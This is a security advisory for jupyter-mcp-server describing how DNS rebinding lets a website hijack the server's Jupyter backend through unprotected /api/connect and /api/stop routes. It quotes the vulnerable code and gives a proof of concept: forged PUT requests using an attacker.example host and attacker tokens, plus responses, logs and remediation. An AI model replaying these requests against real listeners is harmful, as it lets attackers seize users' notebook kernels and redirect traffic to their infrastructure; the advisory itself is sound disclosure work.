# GHSA-9X8X-CRJQ-G64H: Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes

- Database: GitHub
- Severity: critical (stated by ghsa, no CVSS score)
- Published: 2026-11-20
- Modified: 2026-11-20

## Tracked as

- [CVE-2026-77359](https://cve.now/CVE-2026-77359.md): Jupyter MCP Server backend takeover via DNS rebinding in management routes

## Affected versions

- jupyter-mcp-server (PyPI): fixed in 1.0.3

## Description

Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` rejects forged `Host` and `Origin` headers on `/mcp`, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to `127.0.0.1` or a private target address, then send `PUT /api/connect` to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.

The protected `/mcp` endpoint shows the intended browser-origin boundary. With `MCP_TOKEN` configured, `/mcp` rejects forged browser headers:

```text
POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142

HTTP 421 Invalid Host header
```

The vulnerable route is `jupyter_mcp_server/server.py:143-187`. It parses caller JSON, updates the active Jupyter backend configuration, resets `ServerContext`, and starts the kernel without applying the `/mcp` Host/Origin rejection to the custom route:

```python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
    data = await request.json()

    document_runtime = DocumentRuntime(**data)

    set_config(
        provider=document_runtime.provider,
        runtime_url=document_runtime.runtime_url,
        runtime_id=document_runtime.runtime_id,
        runtime_token=document_runtime.runtime_token,
        document_url=document_runtime.document_url,
        document_id=document_runtime.document_id,
        document_token=document_runtime.document_token,
        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
    )

    ServerContext.reset()

    try:
        __start_kernel()
        return JSONResponse({"success": True})
```

`/api/stop` is also state-changing and accepts the same browser-origin route shape:

```python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
    try:
        current_notebook = notebook_manager.get_current_notebook() or "default"
        if current_notebook in notebook_manager:
            notebook_manager.remove_notebook(current_notebook)
        return JSONResponse({"success": True})
```

## Proof of concept

Run the affected version with `MCP_TOKEN` configured:

```bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
  --transport streamable-http \
  --start-new-runtime false \
  --jupyterlab false \
  --mcp-token SCAN_MCP_TOKEN \
  --port 8083
```

First, show that `/mcp` rejects the browser-shaped request:

```http
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
```

Observed response:

```http
HTTP/1.1 421
Invalid Host header
```

Now send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to `127.0.0.1` or the private MCP listener:

```http
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_REBIND",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_REBIND"
}
```

Observed response:

```http
HTTP/1.1 200 OK
content-type: application/json

{"success":true}
```

The server log shows that `/api/connect` accepted the attacker-chosen backend despite the browser-origin headers:

```text
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
```

When an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:

```text
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND
```

## Impact

The protected `/mcp` endpoint rejects forged `Host` and `Origin` values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.

## Why this is a vulnerability, not intended behavior

- This is not a generic claim that `/mcp` lacks Host validation. `/mcp` rejects the forged Host replay with `HTTP 421 Invalid Host header`.
- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.
- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to `/mcp`.

## Remediation

Apply the same browser-origin security policy to every route mounted on the standalone HTTP app:

1. Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.
2. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.
3. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.
4. Add regression tests proving that `/api/connect` and `/api/stop` reject forged browser `Host` and `Origin` headers.

## References

- https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-9x8x-crjq-g64h
- https://nvd.nist.gov/vuln/detail/CVE-2026-77359
- https://github.com/datalayer/jupyter-mcp-server/pull/262
- https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4
- https://github.com/datalayer/jupyter-mcp-server
- https://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3

Page: https://cve.now/GHSA-9X8X-CRJQ-G64H
